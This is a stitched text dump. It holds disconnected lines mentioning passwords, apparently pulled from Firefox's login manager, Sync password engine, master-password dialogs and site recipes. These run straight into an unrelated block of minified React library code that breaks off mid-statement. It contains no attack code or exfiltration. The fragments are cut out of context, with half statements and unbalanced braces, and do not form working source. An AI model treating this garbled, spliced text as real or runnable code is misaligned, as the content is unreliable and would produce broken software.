if (passwordField.maxLength >= 0) {
maxPasswordLen = passwordField.maxLength;
l.password.length <= maxPasswordLen);
// Don’t clobber an existing password.
if (passwordField.value && !clobberPassword) {
log(“form not filled, the password field was already filled”);
// password if we find a matching login.
// which have a normal user+pass login *and* a password-only login
if (passwordField.value != selectedLogin.password) {
passwordField.setUserInput(selectedLogin.password);
password: selectedLogin.password,
passwordField: Cu.getWeakReference(passwordField),
Services.obs.notifyObservers(form.rootElement, “passwordmgr-processed-form”);
* whether the associated password field has the matching password.
* @returns {Boolean} whether the username and password fields still have the
let autoFilledPasswordField = filledLogin.passwordField.get();
// Check username and password values match what was filled.
autoFilledPasswordField.value != filledLogin.password) {
* Returns the username and password fields found in the form by input
(aField.type != “password” && !LoginHelper.isUsernameFieldType(aField)) ||
* FormLike username and password field
(aField.type != “password” && !LoginHelper.isUsernameFieldType(aField)) ||
// If we are not verifying a password field, we want
if (aField.type != “password”) {
passwordField: {
this._stringBundle = Services.strings.createBundle(“chrome://passwordmgr/locale/passwordmgr.properties”);
return this._isPasswordField ? selectedLogin.password : selectedLogin.username;
* Create a LoginForm object from a password or username field.
* @param {HTMLInputElement} aField – a password or username field in a document
* @throws Error if aField isn’t a password or username field in a document
(aField.type != “password” && !LoginHelper.isUsernameFieldType(aField)) ||
throw new Error(“createFromField requires a password or username field in a document”);
logins = LoginHelper.dedupeLogins(logins, [“username”, “password”], resolveBy, documentURI.displayPrePath);
createBundle(“chrome://passwordmgr/locale/passwordmgr.properties”);
// Tracks the last time the user cancelled the master password prompt,
// to avoid spamming master password prompts on autocomplete searches.
log(“User cancelled master password prompt.”);
// If we’re currently displaying a master password prompt, defer
Services.obs.removeObserver(this, “passwordmgr-crypto-login”);
Services.obs.removeObserver(this, “passwordmgr-crypto-loginCanceled”);
if (topic == “passwordmgr-crypto-loginCanceled”) {
Services.obs.addObserver(observer, “passwordmgr-crypto-login”);
Services.obs.addObserver(observer, “passwordmgr-crypto-loginCanceled”);
// Cancel if we unsuccessfully prompted for the master password too recently.
log(“Not searching logins for autocomplete since the master password ” +
// for password field.
// password, allow the user to select from a list of applicable
// logins to update the password for.
if (oldLogin.password == formLogin.password) {
“only saved password matches the new password)”);
// changing a second account to the new password so we ask anyways.
// same password. Otherwise, compare the logins and match even
// if the passwords differ.
// Change password if needed.
if (existingLogin.password != formLogin.password) {
log(“…passwords differ, prompting to change.”);
* Called to indicate whether an insecure password field is present so
* insecure password UI can know when to show.
“passwordSelector”,
const OPTIONAL_STRING_PROPS = [“description”, “passwordSelector”, “usernameSelector”];
if (!recipe.usernameSelector && !recipe.passwordSelector &&
* “passwordField”: “password_field”,
for (let prop of [“type”, “host”, “port”, “username”, “password”, “proxyDNS”, “failoverTimeout”]) {
password(proxyData) {
let {password} = proxyData;
if (password !== undefined && typeof password !== “string”) {
throw new ExtensionError(`ProxyInfoData: Invalid proxy server password: “${password}”`);
let {type, host, port, username, password, proxyDNS, failoverTimeout} =
type, host, port, username, password,
{ name: “passwords”,
list: [“urlclassifier.passwordAllowTable”],
return Services.prefs.getBoolPref(“browser.safebrowsing.passwords.enabled”);
// If the current URI contains a username/password, remove it.
typeof authCredentials.password === “string”) {
authInfo.password = authCredentials.password;
* PBKDF2 password stretching with SHA-256 hmac.
* Deletes Sync credentials from the password manager.
* Verify the current auth state, unlocking the master-password if necessary.
log.debug(“unlockAndVerifyAuthState: user declined to unlock master-password”);
this._log.info(“Unable to fetch keys (master-password locked?), so aborting token fetch”);
MASTER_PASSWORD_LOCKED: “service.master_password_locked”,
modules/services-sync/engines/passwords.js/* This Source Code Form is subject to the terms of the Mozilla Public
“password”,
“passwordField”,
// for upload; otherwise, we might overwrite changed passwords before they’re
if (o.password) {
o.password = “X”.repeat(o.password.length);
“httpRealm”, “username”, “password”, “usernameField”, “passwordField”,
this._log.debug(“Didn’t find any passwords to delete”);
// Look for existing logins that match the hostname, but ignore the password.
record.password,
record.passwordField);
// Skip over Weave password/passphrase entries.
record.password = login.password;
record.passwordField = login.passwordField;
Svc.Obs.add(“passwordmgr-storage-changed”, this.asyncObserver);
Svc.Obs.remove(“passwordmgr-storage-changed”, this.asyncObserver);
// Skip over Weave password/passphrase changes.
super(“passwords”, “id”, [
“password”,
“passwordField”,
password: item.password,
passwordField: item.passwordField,
this._log.debug(“Couldn’t log in: master password is locked.”);
// No point if we got kicked out by the master password dialog.
// the password should be correct.
Password: {module: “passwords.js”, symbol: “PasswordEngine”},
// passwords, which means that Resource.get can throw MP-related
// master password (ie, this call is expected to prompt for MP unlock
// Username/password verified.
// by emptying the passphrase (we still need the password).
// the password engine if a master-password is enabled. However, it’s
// failed (see above re master-password) then wipe server data and
“passwords”, “prefs”, “tabs”, “extension-storage”,
* Is there a master password configured and currently locked?
* In general, these hosts will not have their passwords synced, will be
// If the current URI contains a username/password, remove it.
ExtensionPreferencesManager.addSetting(“services.passwordSavingEnabled”, {
passwordSavingEnabled: getPrivacyAPI(
extension, “services.passwordSavingEnabled”,
“passwordSavingEnabled”: {
“description”: “If enabled, the password manager will ask if you want to save passwords. This preference’s value is a boolean, defaulting to <code>true</code>.”
“description”: “Do not prompt for authentication if password is saved.”
“password”: {“type”: “string”}
// Remove password and wyciwyg from uri.
window.openTrustedLinkIn(baseURL + “insecure-password”, “tab”, {
this.Services.strings.createBundle(“chrome://passwordmgr/locale/passwordmgr.properties”).
#loginLabel, #password1Label {
password1Container: document.getElementById(“password1Container”),
password1Textbox: document.getElementById(“password1Textbox”),
password1Label: document.getElementById(“password1Label”),
<row id =”password1Container” hidden=”true” align=”center”>
<label id=”password1Label” value=”&editfield1.label;” control=”password1Textbox”/>
<textbox type=”password” id=”password1Textbox”/>
source code form), and must require no special password or key for
<row class=”tabmodalprompt-password1Container” hidden=”true” align=”center”>
<label class=”tabmodalprompt-password1Label” value=”&editfield1.label;” control=”password1Textbox-${randomIdSuffix}”/>
<textbox class=”tabmodalprompt-password1Textbox” type=”password” id=”password1Textbox-${randomIdSuffix}”/>
password1Container: newPrompt.querySelector(“.tabmodalprompt-password1Container”),
password1Textbox: newPrompt.querySelector(“.tabmodalprompt-password1Textbox”),
password1Label: newPrompt.querySelector(“.tabmodalprompt-password1Label”),
// If the token is unitialized, don’t use the old password box.
document.l10n.setAttributes(msgBox, “password-not-set”);
// Select first password field
// Select old password field
// empty passwords are not allowed in FIPS mode
// Here is how we weigh the quality of the password
// length of the password
// use of numbers in the password
// use of symbols in the password
// use of uppercase in the password
// was called with the intention to change the password.
// The token currently uses an empty password.
// We will not allow changing the password from empty to empty.
data-l10n-id=”set-password”>
<description control=”pw1″ data-l10n-id=”master-password-description”></description>
<label flex=”1″ control=”oldpw” data-l10n-id=”set-password-old-password”></label>
<textbox id=”oldpw” type=”password”/>
& ‘disabled’ property of the ‘oldpw’ textbox toggle between [‘password’ &
<label flex=”1″ control=”pw1″ data-l10n-id=”set-password-new-password”></label>
<textbox id=”pw1″ type=”password”
<label flex=”1″ control=”pw2″ data-l10n-id=”set-password-reenter-password”></label>
<textbox id=”pw2″ type=”password” oninput=”checkPasswords();”/>
<html:label for=”pwmeter” style=”display: -moz-box;” data-l10n-id=”set-password-meter”></html:label>
<description control=”pw2″ class=”header” data-l10n-id=”master-password-warning”></description>
_password: null,
this._password = document.getElementById(“password”);
// initial value of the password (“” should be incorrect).
this._okButton.disabled = !this._token.checkPassword(this._password.value);
if (this._token.checkPassword(this._password.value)) {
this._token.changePassword(this._password.value, “”);
this._password.value = “”;
this._password.focus();
data-l10n-id=”remove-password”>
<label control=”password” data-l10n-id=”remove-password-old-password”/>
<textbox id=”password” type=”password”
chrome/toolkit/content/passwordmgr/passwordManager.js/* This Source Code Form is subject to the terms of the Mozilla Public
// password-manager lists
if (topic == “passwordmgr-storage-changed”) {
Services.obs.notifyObservers(null, “passwordmgr-dialog-updated”);
Services.obs.addObserver(signonReloadDisplay, “passwordmgr-storage-changed”);
Services.obs.removeObserver(signonReloadDisplay, “passwordmgr-storage-changed”);
case “passwordCol”:
return signon.password || “”;
if (col.id == “userCol” || col.id == “passwordCol”) {
} else if (col.id == “passwordCol”) {
_editLogin(“password”);
case “password”:
// Confirm the user wants to remove all passwords
document.getElementById(“passwordCol”).hidden = !showingPasswords;
// Notify observers that the password visibility toggling is
Services.obs.notifyObservers(null, “passwordmgr-password-toggle-complete”);
// Confirm the user wants to display passwords
case “password”:
return document.getElementById(“passwordCol”);
if (showingPasswords && aSignon.password &&
aSignon.password.toLowerCase().includes(aFilterValue)) {
// Don’t copy passwords if we aren’t already showing the passwords & a master
// password hasn’t been entered.
// Copy selected signon’s password to clipboard
let password = signonsTreeView.getCellText(row, {id: “passwordCol” });
clipboard.copyString(password);
menuItems.get(“context-copypassword”).removeAttribute(“disabled”);
// Disable “Edit Password” if the password column isn’t showing.
if (!document.getElementById(“passwordCol”).hidden) {
menuItems.get(“context-editpassword”).removeAttribute(“disabled”);
menuItems.get(“context-editpassword”).setAttribute(“disabled”, “true”);
// This doesn’t harm if passwords are not encrypted
// If there is no master password, still give the user a chance to opt-out of displaying passwords
// So there’s a master password. But since checkPassword didn’t succeed, we’re logged out (per nsIPK11Token.idl).
// Relogin and ask for the master password.
token.login(true); // ‘true’ means always prompt for token password. User will be prompted until
// clicking ‘Cancel’ or entering the correct password.
chrome/toolkit/content/passwordmgr/passwordManager.xul<?xml version=”1.0″?> <!– -*- Mode: SGML; indent-tabs-mode: nil -*- –>
<?xml-stylesheet href=”chrome://global/skin/passwordmgr.css” type=”text/css”?>
<!DOCTYPE dialog SYSTEM “chrome://passwordmgr/locale/passwordManager.dtd” >
<script type=”application/javascript” src=”chrome://passwordmgr/content/passwordManager.js”/>
src=”chrome://passwordmgr/locale/passwordmgr.properties”/>
<menuitem id=”context-copypassword”
<menuitem id=”context-editpassword”
oncommand=”EditCellInSelectedRow(‘password’)”/>
<treecol id=”passwordCol” label=”&treehead.password.label;” flex=”15″
data-field-name=”password” persist=”width”
chrome/toolkit/content/passwordmgr/recipes.json{
“description”: “okta uses a hidden password field to disable filling”,
“passwordSelector”: “#pass-signin”
“description”: “anthem uses a hidden password and username field to disable filling”,
“passwordSelector”: “#LoginContent_txtLoginPass”
“description”: “An ephemeral password-shim field is incorrectly selected as the username field.”,
“description”: “Tibia uses type=password for its username field and puts the email address before the password field during registration”,
“passwordSelector”: “#password1, input[name=’loginpassword’]”,
“description”: “Username field will be incorrectly captured in the change password form (bug 1243722)”,
“notUsernameSelector”: “#password_strength”
“description”: “United uses a useless password field plus one per frequent flyer number during checkin. Don’t save any of them (Bug 1330810)”,
“notPasswordSelector”: “input[type=’password’]”,
“description”: “Gogo In-Flight uses a password field for credit card numbers on the same page as login”,
“description”: “The Fortuneo bank uses a different form for each input, defeating the password manager (Bug 1433754)”,
// Only use inputs that hold text values (not including type=”password”)
// Don’t save fields that were previously type=password such as on sites
// that allow the user to toggle password visibility.
*/o.canUseDOM&&(a=document.implementation&&document.implementation.hasFeature&&!0!==document.implementation.hasFeature(”,”)),e.exports=function(e,t){if(!o.canUseDOM||t&&!(‘addEventListener’in document))return!1;var n=’on’+e,r=n in document;if(!r){var i=document.createElement(‘div’);i.setAttribute(n,’return;’),r=’function’==typeof i[n]}return!r&&a&&’wheel’===e&&(r=document.implementation.hasFeature(‘Events.wheel’,’3.0′)),r}},function(e){‘use strict’;function t(e){var t=this,o=t.nativeEvent;if(o.getModifierState)return o.getModifierState(e);var a=n[e];return!!a&&!!o[a]}var n={Alt:’altKey’,Control:’ctrlKey’,Meta:’metaKey’,Shift:’shiftKey’};e.exports=function(){return t}},function(e,t,n){‘use strict’;function o(e,t){return Array.isArray(t)&&(t=t[1]),t?t.nextSibling:e.firstChild}function a(e,t,n){p.insertTreeBefore(e,t,n)}function r(e,t,n){Array.isArray(t)?d(e,t[0],t[1],n):f(e,t,n)}function i(e,t){if(Array.isArray(t)){var n=t[1];t=t[0],s(e,t,n),e.removeChild(n)}e.removeChild(t)}function d(e,t,n,o){for(var a=t,r;r=a.nextSibling,f(e,a,o),a!==n;)a=r}function s(e,t,n){for(;;){var o=t.nextSibling;if(o===n)break;else e.removeChild(o)}}var p=n(18),l=n(118),u=n(4),c=n(9),m=n(56),h=n(31),g=n(75),f=m(function(e,t,n){e.insertBefore(t,n)}),y=l.dangerouslyReplaceNodeWithMarkup;e.exports={dangerouslyReplaceNodeWithMarkup:y,replaceDelimitedText:function(e,t,n){var o=e.parentNode,a=e.nextSibling;a===t?n&&f(o,document.createTextNode(n),a):n?(g(a,n),s(o,a,t)):s(o,e,t),!1},processUpdates:function(e,t){for(var n=0,d;n<t.length;n++)switch(d=t[n],d.type){case’INSERT_MARKUP’:a(e,d.content,o(e,d.afterNode)),!1;break;case’MOVE_EXISTING’:r(e,d.fromNode,o(e,d.afterNode)),!1;break;case’SET_MARKUP’:h(e,d.content),!1;break;case’TEXT_CONTENT’:g(e,d.content),!1;break;case’REMOVE_NODE’:i(e,d.fromNode),!1;}}}},function(e){‘use strict’;e.exports={html:’http://www.w3.org/1999/xhtml’,mathml:’http://www.w3.org/1998/Math/MathML’,svg:’http://www.w3.org/2000/svg’}},function(e){‘use strict’;e.exports=function(e){return’undefined’!=typeof MSApp&&MSApp.execUnsafeLocalFunction?function(t,n,o,a){MSApp.execUnsafeLocalFunction(function(){return e(t,n,o,a)})}:e}},function(e,t,n){‘use strict’;function o(e){null==e.checkedLink||null==e.valueLink?void 0:d(’87’)}function a(e){o(e),null==e.value&&null==e.onChange?void 0:d(’88’)}function r(e){o(e),null==e.checked&&null==e.onChange?void 0:d(’89’)}function i(e){if(e){var t=e.getName();if(t)return’ Check the render method of `’+t+’`.’}return”}var d=n(2),s=n(136),p=n(28),l=n(13),u=p(l.isValidElement),c=n(0),m=n(1),h={button:!0,checkbox:!0,image:!0,hidden:!0,radio:!0,reset:!0,submit:!0},g={value:function(e,t){return!e[t]||h[e.type]||e.onChange||e.readOnly||e.disabled?null:new Error(‘You provided a `value` prop to a form field without an `onChange` handler. This will render a read-only field. If the field should be mutable use `defaultValue`. Otherwise, set either `onChange` or `readOnly`.’)},checked:function(e,t){return!e[t]||e.onChange||e.readOnly||e.disabled?null:new Error(‘You provided a `checked` prop to a form field without an `onChange` handler. This will render a read-only field. If the field should be mutable use `defaultChecked`. Otherwise, set either `onChange` or `readOnly`.’)},onChange:u.func},f={};e.exports={checkPropTypes:function(e,t,n){for(var o in g){if(g.hasOwnProperty(o))var a=g[o](t,o,e,’prop’,null,s);if(a instanceof Error&&!(a.message in f)){f[a.message]=!0;var r=i(n);void 0}}},getValue:function(e){return e.valueLink?(a(e),e.valueLink.value):e.value},getChecked:function(e){return e.checkedLink?(r(e),e.checkedLink.value):e.checked},executeOnChange:function(e,t){return e.valueLink?(a(e),e.valueLink.requestChange(t.target.value)):e.checkedLink?(r(e),e.checkedLink.requestChange(t.target.checked)):e.onChange?e.onChange.call(void 0,t):void 0}}},function(e,t,n){‘use strict’;var o=n(2),a=n(0),r=!1,i={replaceNodeWithMarkup:null,processChildrenUpdates:null,injection:{injectEnvironment:function(e){!r?void 0:o(‘104’),i.replaceNodeWithMarkup=e.replaceNodeWithMarkup,i.processChildrenUpdates=e.processChildrenUpdates,r=!0}}};e.exports=i},function(e){‘use strict’;function t(e,t){return e===t?0!==e||0!==t||1/e==1/t:e!==e&&t!==t}var n=Object.prototype.hasOwnProperty;e.exports=function(e,o){if(t(e,o))return!0;if(‘object’!=typeof e||null===e||’object’!=typeof o||null===o)return!1;var a=Object.keys(e),r=Object.keys(o);if(a.length!==r.length)return!1;for(var d=0;d<a.length;d++)if(!n.call(o,a[d])||!t(e[a[d]],o[a[d]]))return!1;return!0}},function(e){‘use strict’;e.exports=function(e,t){var n=null===e||!1===e,o=null===t||!1===t;if(n||o)return n==o;var a=typeof e,r=typeof t;return’string’==a||’number’==a?’string’==r||’number’==r:’object’==r&&e.type===t.type&&e.key===t.key}},function(e){‘use strict’;e.exports={escape:function(e){var t=/[=:]/g,n={“=”:’=0′,”:”:’=2′},o=(”+e).replace(t,function(e){return n[e]});return’$’+o},unescape:function(e){var t=/(=0|=2)/g,n={“=0″:’=’,”=2″:’:’},o=’.’===e[0]&&’$’===e[1]?e.substring(2):e.substring(1);return(”+o).replace(t,function(e){return n[e]})}}},function(e,t,n){‘use strict’;function o(e){l.enqueueUpdate(e)}function a(e){var t=typeof e;if(‘object’!=t)return t;var n=e.constructor&&e.constructor.name||t,o=Object.keys(e);return 0<o.length&&20>o.length?n+’ (keys: ‘+o.join(‘, ‘)+’)’:n}function r(e){var t=s.get(e);if(!t){return null}return!1,t}var i=n(2),d=n(8),s=n(27),p=n(9),l=n(11),u=n(0),c=n(1),m={isMounted:function(e){var t=s.get(e);return!!t&&!!t._renderedComponent},enqueueCallback:function(e,t,n){m.validateCallback(t,n);var a=r(e);return a?void(a._pendingCallbacks?a._pendingCallbacks.push(t):a._pendingCallbacks=[t],o(a)):null},enqueueCallbackInternal:function(e,t){e._pendingCallbacks?e._pendingCallbacks.push(t):e._pendingCallbacks=[t],o(e)},enqueueForceUpdate:function(e){var t=r(e,’forceUpdate’);t&&(t._pendingForceUpdate=!0,o(t))},enqueueReplaceState:function(e,t,n){var a=r(e,’replaceState’);a&&(a._pendingStateQueue=[t],a._pendingReplaceState=!0,n!==void 0&&null!==n&&(m.validateCallback(n,’replaceState’),a._pendingCallbacks?a._pendingCallbacks.push(n):a._pendingCallbacks=[n]),o(a))},enqueueSetState:function(e,t){var n=r(e,’setState’);if(n){var a=n._pendingStateQueue||(n._pendingStateQueue=[]);a.push(t),o(n)}},enqueueElementInternal:function(e,t,n){e._pendingElement=t,e._context=n,o(e)},validateCallback:function(e,t){!e||’function’==typeof e?void 0:i(‘122’,t,a(e))}};e.exports=m},function(e,t,n){‘use strict’;var o=n(3),a=n(5),r=n(1);e.exports=a},function(e){‘use strict’;e.exports=function(e){var t=e.keyCode,n;return’charCode’in e?(n=e.charCode,0===n&&13===t&&(n=13)):n=t,32<=n||13===n?n:0}},,function(e){‘use strict’;e.exports={hasCachedChildNodes:1}},function(e,t,n){‘use strict’;var o=n(2),a=n(0);e.exports=function(e,t){return null==t?o(’30’):void 0,null==e?t:Array.isArray(e)?Array.isArray(t)?(e.push.apply(e,t),e):(e.push(t),e):Array.isArray(t)?[e].concat(t):[e,t]}},function(e){‘use strict’;e.exports=function(e,t,n){Array.isArray(e)?e.forEach(t,n):e&&t.call(n,e)}},function(e,t,n){‘use strict’;var o=n(6),a=null;e.exports=function(){return!a&&o.canUseDOM&&(a=’textContent’in document.documentElement?’textContent’:’innerText’),a}},function(e,t,n){‘use strict’;function o(e,t){if(!(e instanceof t))throw new TypeError(‘Cannot call a class as a function’)}var a=n(2),r=n(15),i=n(0),d=function(){function e(t){o(this,e),this._callbacks=null,this._contexts=null,this._arg=t}return e.prototype.enqueue=function(e,t){this._callbacks=this._callbacks||[],this._callbacks.push(e),this._contexts=this._contexts||[],this._contexts.push(t)},e.prototype.notifyAll=function(){var e=this._callbacks,t=this._contexts,n=this._arg;if(e&&t){e.length===t.length?void 0:a(’24’),this._callbacks=null,this._contexts=null;for(var o=0;o<e.length;o++)e[o].call(t[o],n);e.length=0,t.length=0}},e.prototype.checkpoint=function(){return this._callbacks?this._callbacks.length:0},e.prototype.rollback=function(e){this._callbacks&&this._contexts&&(this._callbacks.length=e,this._contexts.length=e)},e.prototype.reset=function(){this._callbacks=null,this._contexts=null},e.prototype.destructor=function(){this.reset()},e}();e.exports=r.addPoolingTo(d)},function(e){‘use strict’;e.exports={logTopLevelRenders:!1}},function(e,t,n){‘use strict’;function o(e){var t=e.type,n=e.nodeName;return n&&’input’===n.toLowerCase()&&(‘checkbox’===t||’radio’===t)}function a(e){return e._wrapperState.valueTracker}function r(e,t){e._wrapperState.valueTracker=t}function i(e){delete e._wrapperState.valueTracker}function d(e){var t;return e&&(t=o(e)?”+e.checked:e.value),t}var s=n(4),p={_getTrackerFromNode:function(e){return a(s.getInstanceFromNode(e))},track:function(e){if(!a(e)){var t=s.getNodeFromInstance(e),n=o(t)?’checked’:’value’,d=Object.getOwnPropertyDescriptor(t.constructor.prototype,n),p=”+t[n];t.hasOwnProperty(n)||’function’!=typeof d.get||’function’!=typeof d.set||(Object.defineProperty(t,n,{enumerable:d.enumerable,configurable:!0,get:function(){return d.get.call(this)},set:function(e){p=”+e,d.set.call(this,e)}}),r(e,{getValue:function(){return p},setValue:function(e){p=”+e},stopTracking:function(){i(e),delete t[n]}}))}},updateValueIfChanged:function(e){if(!e)return!1;var t=a(e);if(!t)return p.track(e),!0;var n=t.getValue(),o=d(s.getNodeFromInstance(e));return o!==n&&(t.setValue(o),!0)},stopTracking:function(e){var t=a(e);t&&t.stopTracking()}};e.exports=p},function(e){‘use strict’;var t={color:!0,date:!0,datetime:!0,”datetime-local”:!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};e.exports=function(e){var n=e&&e.nodeName&&e.nodeName.toLowerCase();return’input’===n?!!t[e.type]:!(‘textarea’!==n)}},function(e){‘use strict’;var t={currentScrollLeft:0,currentScrollTop:0,refreshScrollValues:function(e){t.currentScrollLeft=e.x,t.currentScrollTop=e.y}};e.exports=t},function(e,t,n){‘use strict’;var o=n(6),a=n(32),r=n(31),i=function(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&3===n.nodeType)return void(n.nodeValue=t)}e.textContent=t};o.canUseDOM&&!(‘textContent’in document.documentElement)&&(i=function(e,t){return 3===e.nodeType?void(e.nodeValue=t):void r(e,a(t))}),e.exports=i},function(e){‘use strict’;e.exports=function(e){try{e.focus()}catch(t){}}},function(e){‘use strict’;function t(e,t){return e+t.charAt(0).toUpperCase()+t.substring(1)}var n={animationIterationCount:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},o=[‘Webkit’,’ms’,’Moz’,’O’];Object.keys(n).forEach(function(e){o.forEach(function(o){n[t(o,e)]=n[e]})});e.exports={isUnitlessNumber:n,shorthandPropertyExpansions:{background:{backgroundAttachment:!0,backgroundColor:!0,backgroundImage:!0,backgroundPositionX:!0,backgroundPositionY:!0,backgroundRepeat:!0},backgroundPosition:{backgroundPositionX:!0,backgroundPositionY:!0},border:{borderWidth:!0,borderStyle:!0,borderColor:!0},borderBottom:{borderBottomWidth:!0,borderBottomStyle:!0,borderBottomColor:!0},borderLeft:{borderLeftWidth:!0,borderLeftStyle:!0,borderLeftColor:!0},borderRight:{borderRightWidth:!0,borderRightStyle:!0,borderRightColor:!0},borderTop:{borderTopWidth:!0,borderTopStyle:!0,borderTopColor:!0},font:{fontStyle:!0,fontVariant:!0,fontWeight:!0,fontSize:!0,lineHeight:!0,fontFamily:!0},outline:{outlineWidth:!0,outlineStyle:!0,outlineColor:!0}}}},function(e,t,n){‘use strict’;function o(e){return!!c.hasOwnProperty(e)||!u.hasOwnProperty(e)&&(l.test(e)?(c[e]=!0,!0):(u[e]=!0,void 0,!1))}function a(e,t){return null==t||e.hasBooleanValue&&!t||e.hasNumericValue&&isNaN(t)||e.hasPositiveNumericValue&&1>t||e.hasOverloadedBooleanValue&&!1===t}var r=n(16),i=n(4),d=n(9),s=n(132),p=n(1),l=new RegExp(‘^[‘+r.ATTRIBUTE_NAME_START_CHAR+’][‘+r.ATTRIBUTE_NAME_CHAR+’]*$’),u={},c={},m={createMarkupForID:function(e){return r.ID_ATTRIBUTE_NAME+’=’+s(e)},setAttributeForID:function(e,t){e.setAttribute(r.ID_ATTRIBUTE_NAME,t)},createMarkupForRoot:function(){return r.ROOT_ATTRIBUTE_NAME+’=””‘},setAttributeForRoot:function(e){e.setAttribute(r.ROOT_ATTRIBUTE_NAME,”)},createMarkupForProperty:function(e,t){var n=r.properties.hasOwnProperty(e)?r.properties[e]:null;if(n){if(a(n,t))return”;var o=n.attributeName;return n.hasBooleanValue||n.hasOverloadedBooleanValue&&!0===t?o+’=””‘:o+’=’+s(t)}return r.isCustomAttribute(e)?null==t?”:e+’=’+s(t):null},createMarkupForCustomAttribute:function(e,t){return o(e)&&null!=t?e+’=’+s(t):”},setValueForProperty:function(e,t,n){var o=r.properties.hasOwnProperty(t)?r.properties[t]:null;if(o){var i=o.mutationMethod;if(i)i(e,n);else{if(a(o,n))return void this.deleteValueForProperty(e,t);if(o.mustUseProperty)e[o.propertyName]=n;else{var d=o.attributeName,s=o.attributeNamespace;s?e.setAttributeNS(s,d,”+n):o.hasBooleanValue||o.hasOverloadedBooleanValue&&!0===n?e.setAttribute(d,”):e.setAttribute(d,”+n)}}}else if(r.isCustomAttribute(t))return void m.setValueForAttribute(e,t,n)},setValueForAttribute:function(e,t,n){if(o(t)){null==n?e.removeAttribute(t):e.setAttribute(t,”+n)}},deleteValueForAttribute:function(e,t){e.removeAttribute(t),!1},deleteValueForProperty:function(e,t){var n=r.properties.hasOwnProperty(t)?r.properties[t]:null;if(n){var o=n.mutationMethod;if(o)o(e,void 0);else if(n.mustUseProperty){var a=n.propertyName;e[a]=!n.hasBooleanValue&&”}else e.removeAttribute(n.attributeName)}else r.isCustomAttribute(t)&&e.removeAttribute(t)}};e.exports=m},function(e,t,n){‘use strict’;function o(){if(this._rootNodeID&&this._wrapperState.pendingUpdate){this._wrapperState.pendingUpdate=!1;var e=this._currentElement.props,t=d.getValue(e);null!=t&&a(this,!!e.multiple,t)}}function a(e,t,n){var o=s.getNodeFromInstance(e).options,a,r;if(t){for(a={},r=0;r<n.length;r++)a[”+n[r]]=!0;for(r=0;r<o.length;r++){var i=a.hasOwnProperty(o[r].value);o[r].selected!==i&&(o[r].selected=i)}}else{for(a=”+n,r=0;r<o.length;r++)if(o[r].value===a)return void(o[r].selected=!0);o.length&&(o[0].selected=!0)}}function r(e){var t=this._currentElement.props,n=d.executeOnChange(t,e);return this._rootNodeID&&(this._wrapperState.pendingUpdate=!0),p.asap(o,this),n}var i=n(3),d=n(57),s=n(4),p=n(11),l=n(1),u=!1,c=!1,m=[‘value’,’defaultValue’];e.exports={getHostProps:function(e,t){return i({},t,{onChange:e._wrapperState.onChange,value:void 0})},mountWrapper:function(e,t){var n=d.getValue(t);e._wrapperState={pendingUpdate:!1,initialValue:null==n?t.defaultValue:n,listeners:null,onChange:r.bind(e),wasMultiple:!!t.multiple},t.value===void 0||t.defaultValue===void 0||c||(void 0,c=!0)},getSelectValueContext:function(e){return e._wrapperState.initialValue},postUpdateWrapper:function(e){var t=e._currentElement.props;e._wrapperState.initialValue=void 0;var n=e._wrapperState.wasMultiple;e._wrapperState.wasMultiple=!!t.multiple;var o=d.getValue(t);null==o?n!==!!t.multiple&&(null==t.defaultValue?a(e,!!t.multiple,t.multiple?[]:”):a(e,!!t.multiple,t.defaultValue)):(e._wrapperState.pendingUpdate=!1,a(e,!!t.multiple,o))}}},function(e){function t(){throw new Error(‘setTimeout has not been defined’)}function n(){throw new Error(‘clearTimeout has not been defined’)}function o(e){if(l===setTimeout)return setTimeout(e,0);if((l===t||!l)&&setTimeout)return l=setTimeout,setTimeout(e,0);try{return l(e,0)}catch(t){try{return l.call(null,e,0)}catch(t){return l.call(this,e,0)}}}function a(e){if(u===clearTimeout)return clearTimeout(e);if((u===n||!u)&&clearTimeout)return u=clearTimeout,clearTimeout(e);try{return u(e)}catch(t){try{return u.call(null,e)}catch(t){return u.call(this,e)}}}function r(){m&&g&&(m=!1,g.length?c=g.concat(c):h=-1,c.length&&d())}function d(){if(!m){var e=o(r);m=!0;for(var t=c.length;t;){for(g=c,c=[];++h<t;)g&&g[h].run();h=-1,t=c.length}g=null,m=!1,a(e)}}function s(e,t){this.fun=e,this.array=t}function i(){}var p=e.exports={},l,u;(function(){try{l=’function’==typeof setTimeout?setTimeout:t}catch(n){l=t}try{u=’function’==typeof clearTimeout?clearTimeout:n}catch(t){u=n}})();var c=[],m=!1,h=-1,g;p.nextTick=function(e){var t=Array(arguments.length-1);if(1<arguments.length)for(var n=1;n<arguments.length;n++)t[n-1]=arguments[n];c.push(new s(e,t)),1!==c.length||m||o(d)},s.prototype.run=function(){this.fun.apply(null,this.array)},p.title=’browser’,p.browser=!0,p.env={},p.argv=[],p.version=”,p.versions={},p.on=i,p.addListener=i,p.once=i,p.off=i,p.removeListener=i,p.removeAllListeners=i,p.emit=i,p.prependListener=i,p.prependOnceListener=i,p.listeners=function(){return[]},p.binding=function(){throw new Error(‘process.binding is not supported’)},p.cwd=function(){return’/’},p.chdir=function(){throw new Error(‘process.chdir is not supported’)},p.umask=function(){return 0}},function(e,t,n){‘use strict’;function o(e){if(e){var t=e.getName();if(t)return’ Check the render method of `’+t+’`.’}return”}function a(e){return’function’==typeof e&&’undefined’!=typeof e.prototype&&’function’==typeof e.prototype.mountComponent&&’function’==typeof e.prototype.receiveComponent}function r(e){var t;if(null===e||!1===e)t=p.create(r);else if(‘object’==typeof e){var n=e,d=n.type;if(‘function’!=typeof d&&’string’!=typeof d){var s=”;!1,s+=o(n._owner),i(‘130’,null==d?d:typeof d,s)}’string’==typeof 